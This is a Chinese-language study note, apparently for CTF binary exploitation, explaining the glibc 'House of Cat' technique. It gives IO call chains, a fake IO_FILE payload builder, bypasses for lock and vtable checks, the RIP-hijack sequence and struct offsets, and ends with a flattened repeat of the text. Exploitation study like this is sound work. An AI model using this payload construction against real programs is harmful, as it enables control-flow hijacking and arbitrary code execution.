回炉重修之house of cat 带源码调试寻io
字数 1108 2025-08-22 22:47:39

House of Cat 利用技术详解

一、利用条件

  1. 内存写入能力

    • 能够任意写入一个可控地址(如通过 largebin attack)
  2. 地址泄露

    • 能够泄露 libc 地址和 heap 地址
  3. IO流触发能力(满足以下任意一种):

    • 调用 exit 或从 main 函数退出
    • 调用 puts、printf 等函数
    • 触发 __malloc_assert

二、IO 调用链分析

1. 第一条调用链(malloc_assert 触发)

__malloc_assert -> __fxprintf -> vfxprintf -> locked_vfxprintf -> vfprintf_internal 
-> IO->vtable->_IO_file_xsputn -> _IO_wfile_seekoff

2. 第二条调用链(关键链)

_IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW

三、伪造的 IO 结构体构造

fake_struct = p64(0)                # _IO_read_end
fake_struct += p64(0)               # _IO_read_base
fake_struct += p64(0)               # _IO_write_base
fake_struct += p64(0)              # _IO_write_ptr
fake_struct += p64(0)              # _IO_write_end
fake_struct += p64(0)              # _IO_buf_base
fake_struct += p64(1)              # _IO_buf_end
fake_struct += p64(0)              # _IO_save_base
fake_struct += p64(fake_io_addr + 0xb0)  # _IO_backup_base = rdx
fake_struct += p64(setcontext + 61) # _IO_save_end = call_addr
fake_struct += p64(0)              # _markers
fake_struct += p64(0)              # _chain
fake_struct += p64(0)              # _fileno
fake_struct += p64(0)              # _old_offset
fake_struct += p64(0)              # _cur_column
fake_struct += p64(heap_base + 0x200) # _lock = heap_addr or writeable libc_addr
fake_struct += p64(0)              # _offset
fake_struct += p64(0)              # _codecvt
fake_struct += p64(fake_io_addr + 0x30) # _wide_data (rax1)
fake_struct += p64(0)              # _freeres_list
fake_struct += p64(0)              # _freeres_buf
fake_struct += p64(0)              # __pad5
fake_struct += p32(0)              # _mode
fake_struct += b"\x00"*20          # _unused2
fake_struct += p64(_IO_wfile_jumps + 0x10) # vtable
fake_struct += p64(0)*6            # padding
fake_struct += p64(fake_io_addr + 0x40) # rax2 -> to make [rax+0x18] = setcontext + 61

四、关键点分析

1. __malloc_assert 触发条件

触发路径:

_int_malloc -> sysmalloc -> __malloc_assert

触发条件:

  • 当 top chunk 无法满足分配请求时(即 size < nb + MINSIZE
  • 且没有可用的 fastchunks
  • 或者 malloc_consolidate 后仍然无法满足请求

2. 绕过 _IO_flockfile 检查

#define _IO_flockfile(_fp) \
    if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)

绕过条件:

  • fp->_flags 必须是一个可读地址
  • 或者设置 _IO_USER_LOCK 标志位

3. vtable 检查绕过

  • 需要将 fake_io 的 vtable 指针设置为 _IO_file_xsputn+0x10
  • 避免触发 _IO_vtable_check 检测

4. 关键检查点(_IO_switch_to_wget_mode)

  1. fp->_wide_data 必须有值
  2. _IO_write_ptr 必须大于 _IO_write_base(使 was_writing 为 true)
bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) 
                   || _IO_in_put_mode (fp));

5. RIP 劫持点

通过以下指令序列实现控制流劫持:

mov rax, [rdi+0xa0]        ; 获取 wide_data 指针
mov rdx, [rax+0x20]        ; 设置 rdx
mov rax, [rax+0xe0]        ; 获取函数指针
call [rax+0x18]            ; 调用目标函数

五、调试注意事项

  1. stderr 修改

    • 需要修改的是 stderr 指针的地址,而不是 stderr 本身的值
    • 正确做法:p &stderr 而非 p stderr
  2. 关键寄存器

    • RAX 和 RDX 都可以被控制用于 ROP 链构造

六、利用步骤总结

  1. 通过 largebin attack 或其他方式实现任意地址写
  2. 泄露 libc 和 heap 地址
  3. 构造伪造的 IO_FILE 结构体
  4. 修改 stderr 指针指向伪造的结构体
  5. 触发 IO 流(通过 malloc_assert、exit 或 IO 函数)
  6. 通过控制流劫持执行目标函数或 ROP 链

七、相关结构体偏移

  • _IO_write_base: 0x20
  • _IO_write_ptr: 0x28
  • _wide_data: 0xa0
  • vtable: 0xd8
  • _lock: 0x80 (需要指向可写地址)
House of Cat 利用技术详解 一、利用条件 内存写入能力 : 能够任意写入一个可控地址(如通过 largebin attack) 地址泄露 : 能够泄露 libc 地址和 heap 地址 IO流触发能力 (满足以下任意一种): 调用 exit 或从 main 函数退出 调用 puts、printf 等函数 触发 __malloc_assert 二、IO 调用链分析 1. 第一条调用链(malloc_ assert 触发) 2. 第二条调用链(关键链) 三、伪造的 IO 结构体构造 四、关键点分析 1. __ malloc_ assert 触发条件 触发路径: 触发条件: 当 top chunk 无法满足分配请求时(即 size < nb + MINSIZE ) 且没有可用的 fastchunks 或者 malloc_consolidate 后仍然无法满足请求 2. 绕过 _ IO_ flockfile 检查 绕过条件: fp->_flags 必须是一个可读地址 或者设置 _IO_USER_LOCK 标志位 3. vtable 检查绕过 需要将 fake_ io 的 vtable 指针设置为 _IO_file_xsputn+0x10 避免触发 _IO_vtable_check 检测 4. 关键检查点(_ IO_ switch_ to_ wget_ mode) fp->_wide_data 必须有值 _IO_write_ptr 必须大于 _IO_write_base (使 was_writing 为 true) 5. RIP 劫持点 通过以下指令序列实现控制流劫持: 五、调试注意事项 stderr 修改 : 需要修改的是 stderr 指针的地址,而不是 stderr 本身的值 正确做法: p &stderr 而非 p stderr 关键寄存器 : RAX 和 RDX 都可以被控制用于 ROP 链构造 六、利用步骤总结 通过 largebin attack 或其他方式实现任意地址写 泄露 libc 和 heap 地址 构造伪造的 IO_ FILE 结构体 修改 stderr 指针指向伪造的结构体 触发 IO 流(通过 malloc_ assert、exit 或 IO 函数) 通过控制流劫持执行目标函数或 ROP 链 七、相关结构体偏移 _IO_write_base : 0x20 _IO_write_ptr : 0x28 _wide_data : 0xa0 vtable : 0xd8 _lock : 0x80 (需要指向可写地址)